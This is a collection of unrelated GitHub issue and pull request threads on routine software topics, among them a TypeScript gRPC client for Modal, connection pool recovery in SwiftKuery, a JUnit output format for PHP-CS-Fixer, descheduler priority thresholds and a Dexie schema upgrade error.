Javascript Client Support

We're building a service where we need to access containers/apps directly, but without exposing a web-endpoint. Instead, we want to use something similar to modal.Cls.lookup("AnyClass", "run").remote().
The simplest solution is to use a wrapper in FastAPI (Python), Modal, or another service like Railway. However, the problem with this method is that it adds latency and extra costs. So, the solution we found is to use the same api.proto and gRPC that is available here and utilize it in my API Gateway.
But we're asking if you have plans to create a JavaScript client in your priorities.
We think that many people who are creating apps and deploying models in Modal have a web service. We believe it would be great to have a JavaScript client that allows super efficient communication with api.modal.com, without the need to expose @web_endpoints and have to manage different Authorization secret for each app.

Hi, we do plan to offer clients in other languages at some point. However it is not a short-term priority.

Incredible! Thanks to the fact that they shared the api.proto and the code, I think it will be very easy for me to adapt it to TypeScript without any problem. Good luck!

Hi again! Can you help me with this problem?
We finally figured out how to instantiate the Modal gRPC client.
The problem arises when we want to perform FunctionGet; it throws this error at us. The strange thing is that the environmentName is explicitly declared. We've tried to understand why this happens. I was looking in the modal-client repository to see if some configuration had been set. Our hypothesis is that modal/config.py applies the default environment to the client via the request's metadata or something similar.
I really hope you can help me.
Error
'This workspace has more than one environment and you have not specified which one to use.\n' +
    '\n' +
    'In your environment you have the following environments:\n' +
    'main\n' +
    'workflows\n' +
    '\n' +
    'You can set a default environment for your current profile by running:\n' +
    'modal config set-environment <environment-name>\n',
  metadata: Metadata {
    internalRepr: Map(4) {
      'date' => [Array],
      'content-type' => [Array],
      'content-length' => [Array],
      'strict-transport-security' => [Array]
    },
    options: {}
  }

FunctionGet Calling
const modalGrpcClient = new ModalGrpcClient(
  process.env.MODAL_SERVER_URL as string,
  process.env.MODAL_TOKEN_ID as string,
  process.env.MODAL_TOKEN_SECRET as string,
);

modalGrpcClient.client.FunctionGet(
  {
    appName: "test_format",
    objectTag: "process",
    environmentName: "main",
    namespace: 1, // DEPLOYMENT_NAMESPACE_WORKSPACE
  },
  (err, response) => {
    if (err) {
      console.error("Error:", err);
      modalGrpcClient.close();
      return;
    }

    console.log("Reponse:", response);

    modalGrpcClient.close();
  },
);

Client
import * as grpc from "@grpc/grpc-js";
import * as protoLoader from "@grpc/proto-loader";
import { ProtoGrpcType } from "./proto/api";
import { ModalClientClient } from "./proto/modal/client/ModalClient";
import path from "path";

function getCredentials(tokenId: string, tokenSecret: string) {
  return {
    "x-modal-client-version": "0.62.26", // Same version of Python modal-client https://pypi.org/project/modal/0.62.26/
    "x-modal-client-type": "1", // ClientType.CLIENT_TYPE_CLIENT,
    "x-modal-token-id": tokenId,
    "x-modal-token-secret": tokenSecret,
  } as const;
}

export class ModalGrpcClient {
  private serverUrl: string;
  private tokenId: string;
  private tokenSecret: string;
  public client: ModalClientClient;

  constructor(serverUrl: string, tokenId: string, tokenSecret: string) {
    this.serverUrl = serverUrl;
    this.tokenId = tokenId;
    this.tokenSecret = tokenSecret;
    this.client = this.connect();
  }

  private connect() {
    console.log("Connecting to Modal gRPC server");

    const packageDefinition = protoLoader.loadSync(
      ["api.proto", "options.proto"],
      {
        keepCase: true,
        longs: String,
        enums: String,
        defaults: true,
        oneofs: true,
        includeDirs: [path.join(__dirname, "proto")],
      },
    );

    const protoDescriptor = grpc.loadPackageDefinition(
      packageDefinition,
    ) as unknown as ProtoGrpcType;

    const metadata = getCredentials(this.tokenId, this.tokenSecret);

    const channelCredentials = grpc.credentials.createSsl();

    const callCredentials = grpc.credentials.createFromMetadataGenerator(
      (params, callback) => {
        const newMetadata = new grpc.Metadata();
        for (const [key, value] of Object.entries(metadata)) {
          newMetadata.set(key, value);
        }
        callback(null, newMetadata);
      },
    );

    const combinedCredentials = grpc.credentials.combineChannelCredentials(
      channelCredentials,
      callCredentials,
    );

    // From https://github.com/modal-labs/modal-client/blob/b723b83afb99ec276d63fa720d98bc30dc3cd297/modal/_utils/grpc_utils.py#L163-L166
    const options: Partial<grpc.ChannelOptions> = {
      "grpc.max_receive_message_length": 64 * 1024 * 1024, // 64 MiB
      "grpc.max_send_message_length": 64 * 1024 * 1024, // 64 MiB
    };

    const client = new protoDescriptor.modal.client.ModalClient(
      this.serverUrl,
      combinedCredentials,
      options,
    );

    return client;
  }

  close() {
    if (this.client) {
      this.client.close();
    }
  }
}

Hi, while our protos are indeed open source, we unfortunately can't offer any support for using our gRPC API directly at this time. You should consider the API undocumented and subject to change without any notice. It is probably not a good idea to build a production system against it.
As I mentioned above, we do eventually plan to support clients in other languages and, potentially, direct access to the API. But right now we are focused on developing the system quickly and supporting Python usecases.

So would you recommend making an API in python that consumes the modal-client and that API is consumed directly from my backend?


Handle failure of ConnectionPool connection generator

Follows on from #128 and #103.
When the ConnectionPool is first created but the database is unreachable, it can fail to generate connections (if the generator has been written in such a way that only 'good' connections are returned).
In this scenario, the pool's current capacity (the initial number of connections we try to generate) is out of sync with the actual size of the pool (represented by pool.count), which is normally only the case when connections have been vended from the pool and not yet returned.  We cannot recover from this situation, as we will not attempt to grow the pool, as its capacity is (apparently) not zero.
This fix ensures that the initial capacity and pool.count are in sync immediately after connection generation.  We will attempt to generate a new connection each time we are asked to vend one, and this will continue to fail (and the capacity remain zero) while the database is unreachable.  At some future time, if the database were to become reachable again, we will be at zero capacity and begin to grow the pool, as per #128.
Testing
I've verified that this resolves the ability to grow the pool after initial failure using a local project with a Postgres database and a connection generator function that only produces connections if they successfully connect().

Codecov Report

Merging #137 into master will decrease coverage by 0.14%.
The diff coverage is 0%.

@@            Coverage Diff             @@
##           master     #137      +/-   ##
==========================================
- Coverage   84.47%   84.33%   -0.15%
==========================================
  Files          43       43
  Lines        3607     3613       +6
==========================================
  Hits         3047     3047
- Misses        560      566       +6

Flag
Coverage Δ

#SwiftKuery
84.33% <0%> (-0.15%)
:arrow_down:

Impacted Files
Coverage Δ

Sources/SwiftKuery/ConnectionPool.swift
0% <0%> (ø)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 19ff072...9bdfb41. Read the comment docs.


RDKDEV-829: Resolve App launch issue via DAB

Reason for change:

YouTube not launching via DAB in container mode. To launch applications that are running in container mode, we need to set "TYPE" parameter in the RDK-Shell launch command so that the ESSOS instance can connect to the correct Display.

Test Procedure: Refer Ticket
Risks: None
Signed-off by: Vaisakh Anand<EMAIL_ADDRESS>

Hi @vaisakh806 ,
Seems we need to have same logic extended for launch with Params & ContentID.


Add HTTP 307 & 308 redirects

Some background
HTTP 301 Moved Permanently is widely support, but converts POST requests to GET, supported since forever
HTTP 303 See Other (aka Moved Temporarily) is the 'subject to change' version of 301, supported since IE4
HTTP 302 Found is what most people use instead of HTTP 303, but 'technically' 302 was incorrectly implemented, so folks should use 303 instead.
Then there's the new ones.
HTTP 307 Temporary Redirect is like 302 or 303 'temporary redirect', except it preserves POST and postdata associated with the request. (isn't that cool!) It was defined in 1999, but I don't know what browsers support it. (IE7+?)
HTTP 308 Permanent Redirect also preserves postdata like a 307, but is marked permanent like a 301. Only introduced in 2012 so the browser support for that is going to be sketchy. see also Wikipedia
Note: Browsers that do not support the given status will display the response body that the server sends. This can be used by developers to a) suggest upgrading the browser, and b) explain that the site has moved.

Duplicate of #1830


Update to 0.6.2, make noarch

Checklist

[x] Used a fork of the feedstock to propose changes
[x] Bumped the build number (if the version is unchanged)
[x] Reset the build number to 0 (if the version changed)
[x] Re-rendered with the latest conda-smithy (Use the phrase @conda-forge-admin, please rerender in a comment in this PR for automated rerendering)
[x] Ensured the license file is being packaged.

Needed (maybe) for https://github.com/conda-forge/allennlp-feedstock/pull/5
Adds tests. The tests download big models. They should probably be managed as additional sources and outputs. There is no good way (a la spacy) to cache the downloaded models at present. Really a bummer, they are quite large. Tests did pass locally on linux, though :stuck_out_tongue_closed_eyes:

Hi! This is the friendly automated conda-forge-linting service.
I wanted to let you know that I linted all conda-recipes in your PR (recipe) and found some lint.
Here's what I've got...
For recipe:

noarch packages can't have selectors. If the selectors are necessary, please remove noarch: python.

Hi! This is the friendly automated conda-forge-linting service.
I just wanted to let you know that I linted all conda-recipes in your PR (recipe) and found it was in an excellent condition.

(well, the tests worked locally except for the ones that needed the spacy en model, which i didn't add to the deps anyway)

Tried replacing pytorch with pytorch-cpu, and lo, it works.
It seems like knowing how to installl CPU/GPU variants is a A Thing with torch, so expecting a user to have to say:
conda install -c conda-forge -c <somebody> pytorch-<whatever> pytorch-pretrained-bert-feedstock

is not entirely unreasonable, if somewhat unpleasant...


reduce: Align device of temp buffer with input tensor

to fix torch.all() Runtime Error on xpu:1

Not a defect.


Is there a Better Discord  version?

Title says it all. Is there a Better Discord version?

I don't know, and if there is it's not by me. I'm not interested in BetterDiscord plugins and do not know their plugin catalogue. Search in https://betterdiscord.app/plugins, if it exists it will be listed here.


update next config: use mjs instead of js

Description
https://nextjs.org/docs/pages/api-reference/config/next-config-js#ecmascript-modules
When we want to use ECMA script modules (used by panda-css or next-yak for eg.) we need to update the next-config file from js to mjs.

in next 15 we can use .ts


Thoughts on refactoring Services in the spec

Okay, so this is the data that the ServiceSpec in Kubernetes contains -

Name
Ports
Selector
ClusterIP
Type - one of ExternalName, ClusterIP, NodePort, and LoadBalancer
ExternalIPs
SessionAffinity
LoadBalancerIP
LoadBalancerSourceRanges
ExternalName

Now, I understand that a service will be applied to the pods with the given selector, and yes, this needs to be defined outside containers:, so I think that the service spec should be defined at the root level.

We get rid of Selector, because well, we are defining the service with a given pod, so the selected happens to be that automatically.
We get rid of Name because we don't need it anywhere, and we can name it ourselves, like we used to do with containers in OpenCompose.
Rename Type to something more generic like ExposeType or AccessPolicy or AccessType, or something better than this which can be understood without the context of Kubernetes.

An example file would look like -
name: web
replicas: 1
containers:
- image: wordpress:4
  env:
  - name: WORDPRESS_DB_PASSWORD
    value: wordpress
  - name: WORDPRESS_DB_USER
    value: wordpress
accessType: NodePort
ports:
- port: 8080
  targetPort: 80

we can't rename anything, it has to be still possible to use the kubernetes way

The first think we should figure out is where we will put ServiceSpec. Top level, or somewhere in PodSpec?

@kadel what do you mean by top level, here? The top level is the PodSpec right now, and a more things.
IMO, if we do not want to rename the fields in the ServiceSpec, then we should merge it with the PodSpec, like -
type App struct {
	api_v1.PodSpec
       	api_v1.ServiceSpec
}

yes by top level I meant in PodSpec, not embedded but as it is right now. By somewhere in PodSpec I meant somewhere deeper (like port level in container)
I don't think that merging PodSpec and ServiceSpac is good way to go.
Services should have its own level

yes by top level I meant in PodSpec, not embedded but as it is right now. By somewhere in PodSpec I meant somewhere deeper (like port level in container)

If we put this somewhere with ports with containers, then that means that we are defining services on a per container level, which means that if container 1 says that it needs to have a NodePort, then container 2 also gets a NodePort, but when we will look at the spec, this will not be the case, because NodePort will be mentioned in only container 1.
This brings inconsistency.

I don't think that merging PodSpec and ServiceSpac is good way to go.

Why? A Service is applied at the Pod level, what looks wrong with merging 2 concepts that apply to the same level?

Why? A Service is applied at the Pod level, what looks wrong with merging 2 concepts that apply to the same level?

It looks logically inconsistent. It will be much more cleaner and clearer to have it in seperate level.
And more importantly how would you create multiple services if you merge podspec with servicespec?

And more importantly how would you create multiple services if you merge podspec with servicespec?

Whoops, yep, makes sense.

For now, let's keep it like the way it is


Added junit format

This pull request allowes to use php-cs-fixer in CI
Depends on #1824

This pull request allowes to use php-cs-fixer in CI

?
It could be used without it as well

(Note: I'm not against adding new format)

I mean it allows to view results in CI UI without greping logs

I guess you refer to some particular CI service.
No CI as Continuous Integration service in general.

ex Atlassian Bamboo https://confluence.atlassian.com/bamboo/junit-parser-289277056.html

For Jenkins too
https://www.safaribooksonline.com/library/view/jenkins-the-definitive/9781449311155/ch06s03.html

Needs rebasing. ;)

@GrahamCampbell Of course. I will rewrite it after #1824 will be approved

#1824 is merged, please rebase

@keradus rebased

Would love this, CircleCI also uses JUnit as format, currently doing php-cs-fixer --dry-run but yeah, have to look at the logs to see what went wrong in case of failure.

@keradus fixed title, rebased on master again

@keradus up

@ekho you need to collect some thumbs on PR ;)

@keradus thumbs? :-O

LGTM
Just wondering how you are counting number of tests and number of assertions. Wouldn't you want for each time you ran the tool to count as one test ("code style test") with the number of fixers used multiplied by the number of files applied to as assertion count?

@SpacePossum I thinked about different variants
In my opinion the best variant when we can see files as test cases and applied fixers as failures

@ekho I'm not using JUnit format anywhere. could you make a build from your fork and show how would that report looks like in any CI you mentioned, just for an example ?

@keradus in Bamboo it looks like

run with invalid file
summary of run with wrong file
details of run with wrong file
all ok

@keradus I updated pr

removed class attribute from testcase
only one failure element per testcase which contains applied fixers and diff (more compatible with different CI tools)

note: used latest Jenkins JUnint xml schema (https://svn.jenkins-ci.org/trunk/hudson/dtkit/dtkit-format/dtkit-junit-model/src/main/resources/com/thalesgroup/dtkit/junit/model/xsd/junit-7.xsd)

LGTM, but the proof of the pudding is in the eating, so if no other users of JUnit-formatted reports do report issues I'm :+1:   :)

@keradus I've added comments as I could

Any updates on this one?

@keradus I'm confused. I do not understand what I should do to finish PR =(((((

I think there is this one;
https://github.com/FriendsOfPHP/PHP-CS-Fixer/pull/1825#discussion_r59555969
And it would be nice to make a doc folder in the root of the project and add the .xsd you follow in there. This way the end-users know what the tool generates. We could also move the cookbook into there are update links to it to point there.
It would cool to test the output the tool create against the .xsd in tehe doc folder.
Depending on what time https://github.com/FriendsOfPHP/PHP-CS-Fixer/pull/1910 is done and merged that PR or this one needs updating, I can take care of that.

svn.jenkins-ci.org died. Actual Jenkins xunit schemas can be found at https://github.com/jenkinsci/xunit-plugin/tree/master/src/main/resources/org/jenkinsci/plugins/xunit/types/model/xsd .
I got latest (junit-10.xsd) and put it to doc dir. Test updated to use it.
https://github.com/FriendsOfPHP/PHP-CS-Fixer/pull/1825#discussion_r59559150
I researched several different xunit schemes. No one supports memory. I think because spent time is very common mark for tests but memory is not (like cpu usage, disk io, etc).

@SpacePossum fixed. Tests fails as well as шт master branch =(

Damn it :( I have no way to check every possible env during merging one line to another :( At least it's good that Travis detected it.
Please, could you work on a fix for broken master ? (as separated PR)

The failing test are not related, so no worries.
Could you remove the line commented here; https://github.com/FriendsOfPHP/PHP-CS-Fixer/pull/1825/files#r59548663?
And maybe move this file;
https://github.com/FriendsOfPHP/PHP-CS-Fixer/blob/master/COOKBOOK-FIXERS.md
to the '/doc' folder you created?
I've a look at the failing PSR0/4 tests.

LGTM :+1:

offtopic
@keradus @SpacePossum did you think about removing support of old php versions (5.3, 5.4) in the 2.0 release ?

2.0 release will not dorp 5.3. 2.x may.
too many, to important changes to drop 5.3 without important reason, as 2.x is working on 5.3

Travis restarted

May be I should update branch?

@ekho please rebase
@SpacePossum please review ;)

done

Just a few minors https://github.com/bankiru/PHP-CS-Fixer/pull/4
Tested and looks good to me :)

if the test are green; :ship: :+1:

@keradus @SpacePossum tests are green =)

:+1:

Thank you @ekho.

thanks @ekho :)


403 from Binance scraper

https://www.binancezh.com/gateway-api/v1/public/cms/article/list/query?type=1&catalogid=48
I'm guessing this has happened only very recently... :(

This is a duplicate of #137 therefore i will close this issue.


Delegate caching and parameter interpolation to message backends

Resolves #211

@solnic resolved

@robhanlon22 another conflict after merging your other PR 😄

@solnic resolved again :)

@robhanlon22 thanks Rob, this should be a great improvement. I gave you repo access, so if you feel like sending another awesome PR, please use this repo instead of your fork ❤


[webview] Fix comments (accidentially mixed // with ///)

The fix is self-explainable ;) Just two lines of doc.
List which issues are fixed by this PR. You must list at least one issue.
If you had to change anything in the flutter/tests repo, include a link to the migration guide as per the breaking change policy.
Pre-launch Checklist

[x] I read the Contributor Guide and followed the process outlined there for submitting PRs.
[x] I read the Tree Hygiene wiki page, which explains my responsibilities.
[x] I read and followed the relevant style guides and ran the auto-formatter. (Unlike the flutter/flutter repo, the flutter/plugins repo does use dart format.)
[x] I signed the CLA.
[x] The title of the PR starts with the name of the plugin surrounded by square brackets, e.g. [shared_preferences]
[ ] I listed at least one issue that this PR fixes in the description above.
[x] I updated pubspec.yaml with an appropriate new version according to the pub versioning philosophy, or this PR is exempt from version changes.
[x] I updated CHANGELOG.md to add a description of the change, following repository CHANGELOG style.
[x] I updated/added relevant documentation (doc comments with ///).
[x] I added new tests to check the change I am making, or this PR is test-exempt.
[ ] All existing and new tests are passing.

If you need help, consider asking for advice on the #hackers-new channel on Discord.

Do I really need to create an issue for this? If so I will do it...

Done

When you've resolved the issues with the publishable check, please mark this as ready for review.


Explicit supported Postgres version

Currently:

We're not making explicit the supported PG versions
We're not testing the supported versions

I definitely don't want to make a cartesian product of supported python and Postgres because this will take forever to run (plus, there IS an ecological impact to all those things...). I think oldest python + all supported Postgres and oldest Postgres + all supported pythons (one line and one column)
For now I guess either we support all supported Postgres versions (9.5+) or we start at the latest version that was supported when our oldest Python (3.6) was released (9.6+). Or we limit to 3 versions (10+). Anyone has an opinion ?

@ewjoachim I think support should only be provided for PG11 and up.
PG10 support ended ~1.5 years ago and according to a survey by Timescale, only 12% of PG10 or older is used in production (granted it's of 888 samples only).
https://www.postgresql.org/support/versioning/
https://www.timescale.com/state-of-postgres/2023

Note that this ticket is 4 years old. Of course, we should keep the latest versions, what we should keep changes through time.


feat(store): add codegen for all types for tightcoder

Depends on #395
Not sure what to do with autogenerated files, tentatively not gitignoring them for now

Also, do you think this PR would be a good place to rename TightCoder into Serializer (as proposed by @holic in #387 (comment))?

I'd rather do such encompassing renamings closer to v2 completion when we have world and autogen merged, to avoid changing WIP branches often. Will give more time to think about the name too


subscriptions: Clicking green subscribe checkbox should show stream settings.

To see current behavior:
Go to stream settings page -> all streams.
Click the green checkbox for one of the streams. You are now subscribed to the stream.
Currently it shows nothing on the right hand panel of the streams settings page. Desired behavior is for it to show the settings for the stream you just subscribed to. (You can see said settings if you click on one of the other streams you're already subscribed to).

The inverse of this issue is also present where, on unsubscribing from a steam, it still shows all the stream settings.

@zulipbot claim

@aakash-cr7 can you comment to keep zulipbot from unassigning you?

Sure, yeah I am still working on this one.


fix(entrypoint): gomplate error for legacy config

:tada: This PR is included in version 1.72.2 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


No module named 'jaxrl_m.data.'

I recently got back to working on serl after a 2 week break and now I'm getting the following message when trying to run bc training bash run_bc.sh. The script worked previously.
Has anyone encountered this issue?
  File "/home/user/serl/serl_launcher/serl_launcher/utils/launcher.py", line 10, in <module>
    from agentlace.data.tfds import populate_datastore
  File "/home/user/miniconda3/envs/serl/lib/python3.10/site-packages/agentlace/data/tfds.py", line 8, in <module>
    from agentlace.data.jaxrl_data_store import ReplayBufferDataStore
  File "/home/user/miniconda3/envs/serl/lib/python3.10/site-packages/agentlace/data/jaxrl_data_store.py", line 17, in <module>
    from jaxrl_m.data.replay_buffer import ReplayBuffer
ModuleNotFoundError: No module named 'jaxrl_m.data'

@youliangtan @charlesxu0124  this is probably python path issue again? Could we actually solve it fundamentally?
fwiw, you can try run the script with python -m

Before you had a chance to respond I created a new conda env to solve the issue so I haven't checked the solution. I'll update if I get to check it or the issue crops up again


Wemo - Insight Switches - add 'standby' state

The wemo switch implementation captures the power useage reported by wemo switches, but if you want to trigger something based on a power level you can't use automation, without writing a custom component (which is fine).
I think it would be a good enhancement to do as the wemo application does and add a 'power trigger level' - if useage goes over this then the state changes to 'on', if the useage goes below the state is 'standby'.
If this makes sense to others - I may have a go, although adding another state to the switch GUI may be beyond me!

I don't have any wemo devices, so it Is hard for me to picture exactly what you're talking about. If you want to add a third position for the switch, that currently cannot be done. Switches are only two position switches. If you simply want to add an attribute to appear in the switches more info card, that is super simple. Just create a property in the wemo switch class called state_attributes that is a dictionary containing the information you want displayed on the cards more info page.

Thanks for the reply. I think this means that it requires more thought!
To explain the following is as I understand from the Belkin app / IFTTT implementation. I haven't used the API.
Wemo insight switches are designed to have a 'standby' state, as well as 'on and 'off'.
When the switch is 'on' - it monitors the power usage. If the usage is above a threshold (I think the default is 8W)  then the state is set to 'on'. If it's below the threshold it's set to 'standby'. You can set the threshold.
So the state summary is:-
'off': power is disconnected from the outputs.
'standby': the power is connected - but the device isn't using power
'on': the power is connected and the device is on.
The idea is that you can use the standby/on transitions to trigger other events.
The current homeassistant implementation allows you to check the power usage as an attribute - but you need to implement your own threshold calculations in a custom control if you want to trigger anything, and so can't use automation based on the standby/on state transition.
However adding a third state sounds difficult!

What could be done fairly easily is to overwrite the state property to return either on, off, or standby. Then, the toggle card can be updated to recognize anything except off as the switch being on. So you'll see the standby in the bar graph, you can use the state value for automation, and the switch will function as normal. Let me know if you need more detail on that, I can show you what needs to be modified.

I've just started to take a look - so a few pointers would be very helpful.

Added


Allow custom priority threshold

Fixes #329
Introduce a new configuration for each strategies which allows users to define a PriorityClass which is used by PodEvictor to check if a pod is evictable.
TODO:

[x] Add PriorityClass to StrategyParameters and read and set it to PodEvictor
[x] e2e tests for priority class
[x] README
[ ] e2e tests for priority

/cc @ingvagabund  @seanmalloy
/assign @damemi
Please take a look, this pr is ready for review and will be ready for merge once I have updated README.

btw when your PR is ready for review in the future just remove the [WIP] and we'll know it's ready :)
We can /hold if you're waiting for pieces like README updates that will depend on feedback
/retitle Allow custom priority threshold
/hold

We could also consider just adding this as a filter function

@damemi  I prefer this approach, as IsPodEvictableBasedOnPriority will be called for every pod no matter it's in IsEvictable or the filter function, just moving IsPodEvictableBasedOnPriority out of IsEvictable won't affect the performance. and if we add it to EvictPod, we may do some useless calculations because some pods may not be evictable and we could filter out them before running the strategy.
At first I've thought of many ways to do this, given we'll set priority threshold every time a strategy starts and our strategies are running one by one, I think it doesn't matter if one strategy may affect others, besides I think we should do all IsEvictable checks together in one function, so I choose to make the threshold a param of PodEvictor. That's not a very good implementation, I'll reimplement it using the methods mentioned above and add another configuration to set the threshold value directly.

I second what @damemi says.
For strategies which are not cluster wide (RemovePodsViolatingInterPodAntiAffinity, RemovePodsViolatingNodeAffinity, RemovePodsViolatingNodeTaints, ...), you can extend the filters so you don't bother with pods what have higher priority class than ThresholdPriorityClassName. In which case the pod evictor does not have to check the priority class at all.
For the remaining strategies (RemoveDuplicates, LowNodeUtilization), you can always check a pod's class right before you pass the pod to the evictor. So the pod evictor can stay intact.

As All types of pods with the annotation descheduler.alpha.kubernetes.io/evict are evicted. and this annotation is checked in IsEvictable, if I add the priority check as an individual filter function, and use them like:
podutil.WithFilter(func(pod *v1.Pod) bool {
      return podEvictor.IsEvictable(pod) && isPodEvictableByPriority(pod)
})

Although a pod has the annotation, if its priority is above priority threshold, it won't be evictable.
So if we want this annotation still work for priority filtering, I have some solutions:
1.add priority check to IsEvictable and refactor IsEvictable to have a parameter.
2.check this annotation again in isPodEvictableByPriority
3.make annotation check another filter func and call them like:
podutil.WithFilter(func(pod *v1.Pod) bool {
      return (podEvictor.IsEvictable(pod) && isPodEvictableByPriority(pod)) || isPodEvictableByAnnotation(pod)
})

I prefer 1, what do you think @damemi  @ingvagabund ?

I have implemented this

1.add priority check to IsEvictable and refactor IsEvictable to have a parameter.

and added ThresholdPriority to strategy's params.

I've moved IsPodEvictableBasedOnPriority to the evictions package and added e2e testcase for ThresholdPriority.
please take a look @damemi  @ingvagabund

I've completed the change mentioned before and added a validation to the threshold. @damemi  @ingvagabund

/lgtm

/hold cancel


logstats support for new 'cqtq' binary format.

logstats which parses a squid binary log format no longer worked
since the 'cqtq' field binary representation changed to string
(from integer) in the latest traffic server.

hmmm, why did cqtq change to be a string in the first place? That shouldn't be the case I'm fairly certain.

More investigation needed, marking WIP

I suspect this is the issue:
LOG_ACCESS_DEFAULT_FIELD(marshal_client_req_timestamp_sec, DEFAULT_INT_FIELD)
LOG_ACCESS_DEFAULT_FIELD(marshal_client_req_timestamp_squid, DEFAULT_STR_FIELD)
LOG_ACCESS_DEFAULT_FIELD(marshal_client_req_timestamp_netscape, DEFAULT_STR_FIELD)
LOG_ACCESS_DEFAULT_FIELD(marshal_client_req_timestamp_date, DEFAULT_STR_FIELD)
LOG_ACCESS_DEFAULT_FIELD(marshal_client_req_timestamp_time, DEFAULT_STR_FIELD)

This is obviously a must fix for 7.1.1, but I think we should fix the marshaling back to be int.

Since initially I assumed that the representation of cqtq , cqtn, cqtd, cqtt was meant to be a string, my initial fix was to change the trafficserver_logstats parsing to support that.
After @zwoop's comment and looking into the source code more returned the representation of cqtq, cqtn, cqtd, cqtt to int64_t (INK_MIN_ALIGN).
In version 6.2.x the implementation was not storing anything in the corresponding blog field for those timestamps and was using the second+microseconds values from the blog entry header during the unmarshalling of the blog entry (not the field).
This fix stores an integer in the corresponding blog field and gets the value during the unmarshalling from there (and not from the blog entry header).
The marshal function would represent the time for

cqtq in milliseconds
cqtn in seconds
cqtd in seconds
cqtt in seconds

The unmarshal function would represent the time for

cqtq in a string showing seconds in floating point format with milliseconds resolution
cqtn in a string showing seconds
cqtd in a string showing seconds
cqtt in a string showing seconds

@gtenev This doesn't cherry-pick cleanly to the 7.1.x branch, would you mind making another PR, for the 7.1.x branch? The conflicts are minor, but I rather have you do it :-).

@zwoop: it seems the patch for "Issue #1685: Use TS_MILESTONE_UA_BEGIN for cqt* log fields" which this PR is fixing is not part of the 7.1.x branch.
May be the cherry-picking that one to 7.1.x first could make the cherry-picking of this change smoother? 🤔
Please let me know if that does not work I will prep a separate 7.1.x PR if needed.

Cherry-picking both to 7.1.1.


Auto-measure named values.

Crazy idea: Allow a locked measurement to control the value for a named measurement. For example, lock a measurement to two point on the n and have it define "lc stem". Change the n and the value changes.
On second thought, it may be easier to just do this manually in each font than to write all the observation code. Still, it's a fun idea.

Would make StemSnaps faster to write too!


Make sure we do not create DOM element when insertDefaultUI is false

In our app we have voice only chat with custom UI.
Publisher configuration:
{
  insertDefaultUI: false,
  videoSource: null
}

Current build breaks due to exception thrown by OpenTok JS library when DOM element is provided to OTPublisher when insertDefaultUI = false.
Fixes issue #3

Hi @pronebird, thanks for contributing!
Do you mind editing your PR to point to the dev branch instead? That's where I've been doing my development actually. If you'd like to have a go at it, could you add some unit tests to test/OTPublisher.spec.js, probably in the with session prop suite? Otherwise I'll add the tests myself.
I should be adding a CONTRIBUTING.md file explaining all this later today.

@aiham I based my patch off dev branch and added test to make sure that container is not rendered when OTPublisher.properties set to {insertDefaultUI: false}


angular call initWidgets

hi,
i'm using your widget within my angular application. the data and CP coin id is fetched later using my api. now i need a method to reInit the widgets again.
thanks

const name = 'cpCurrencyWidgets';
const func = 'bindWidget';
if (window[name]) {
window[name]func;
}


Fix paste issue

This may be a better way to paste instead of splitting on newlines which is causing certain issues right now
function hello()
  local pos = vim.api.nvim_win_get_cursor(0)[2]
  local line = vim.api.nvim_get_current_line()
  local nline = line:sub(0, pos) .. 'hello' .. line:sub(pos + 1)
  vim.api.nvim_set_current_line(nline)
end

Maybe read the selected lines line by line while escaping each line before sending to bore, this way, we know that any \n or special character we end up with actually belongs at the end of the line

This might be useful: https://stackoverflow.com/questions/25998566/how-to-call-an-external-program-and-pass-a-string-as-a-stdin-to-it-in-lua

https://www.reddit.com/r/neovim/comments/y2by27/is_there_a_way_to_run_terminal_commands_with_lua/

If all fails, perhaps setup bore to be able to run a UDP server that the Neovim plugin can pass data to instead of via STDIN


cannot assign service principal rights to ACR

Was able to create a service principal. But getting InvalidSchema when assigning "Contributor" permission to it.
Full output
[Enter feedback here]

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 15c8677e-3fcd-56c0-fa71-64d758a02ca8
Version Independent ID: ffb63abe-0c37-4c6c-0560-3e2df33e7e5b
Content: Tutorial - Deploy from GitHub to Azure Kubernetes Service using Jenkins
Content Source: articles/jenkins/deploy-from-github-to-aks.md
Service: jenkins
GitHub Login: @TomArcherMsft
Microsoft Alias: tarcher

Hi @ms-zhouma,
I recently revised the articled and confirmed the syntax provided assigns the appropriate role assignment.
The error you received indicates it might be a problem with the AzCLI version being used or the value stored in the $ACR_ID variable.
Because the syntax in the article is correct, I'll close the issue. Please reach out if your issue isn't resolved and I'll investigate.
Thank you,


Can't increase version of db schema - UpgradeError Not yet support for changing primary key

Hi,
Can't figure our what I'm doing wrong here.
To reproduce I use sample project from here: samples/react
import Dexie from 'dexie';
import 'dexie-observable';
const db = new Dexie('ReactSampleDB');
db.version(1).stores({ todos: '$$uuid' });
//After deployment (which is Ok), I increase version by adding this:
db.version(2).stores({ tasks: '$$uuid' });
And after page reload I'm getting this exception
Unhandled Rejection (OpenFailedError): UpgradeError Not yet support for changing primary key

Seems like that issue had similar symptoms
https://github.com/dfahlander/Dexie.js/pull/959#issuecomment-590973310

Thanks for reporting this. It's fixed and will be released in 3.0.3-rc.3.


when using ssr the css fails

Check that this is really a bug

[X] I confirm

Reproduction link
https://codesandbox.io/s/clever-dew-7knd1n?file=/src/App.js
Bug description
I'm trying to use swiper with SSR but the CSS making the following problem:

ReferenceError: document is not defined

without swiper CSS the build succeeds but none of the swiper features are working...
here is my code:
import React from 'react'
import { Swiper, SwiperSlide } from 'swiper/react'
import SwiperCore, { Navigation, Pagination, Mousewheel, Keyboard, Autoplay, Virtual, A11y } from 'swiper'

// swiper bundle styles
import 'swiper/swiper-bundle.min.css'

// swiper core styles
import 'swiper/swiper.min.css'

// modules styles
import 'swiper/components/navigation/navigation.min.css'
import 'swiper/components/pagination/pagination.min.css'

// install Swiper modules
SwiperCore.use([Navigation, Pagination, Mousewheel, Keyboard, Autoplay, Virtual, A11y])

const Carousel = ({ data, renderSlide }) => {
	return (
    <Swiper
      mousewheel
      keyboard
      className="mySwiper"
      slidesPerColumnFill="row"
      touchStartPreventDefault={false}
      watchOverflow
    >

        <SwiperSlide>
          {" "}
        </SwiperSlide>
        <SwiperSlide>
          {" "}
        </SwiperSlide>
        <SwiperSlide>
          {" "}
        </SwiperSlide>

    </Swiper>
	)
}

export default Carousel

Expected Behavior
No response
Actual Behavior
No response
Swiper version
6.8.4
Platform/Target and Browser Versions
macOS m1
Validations

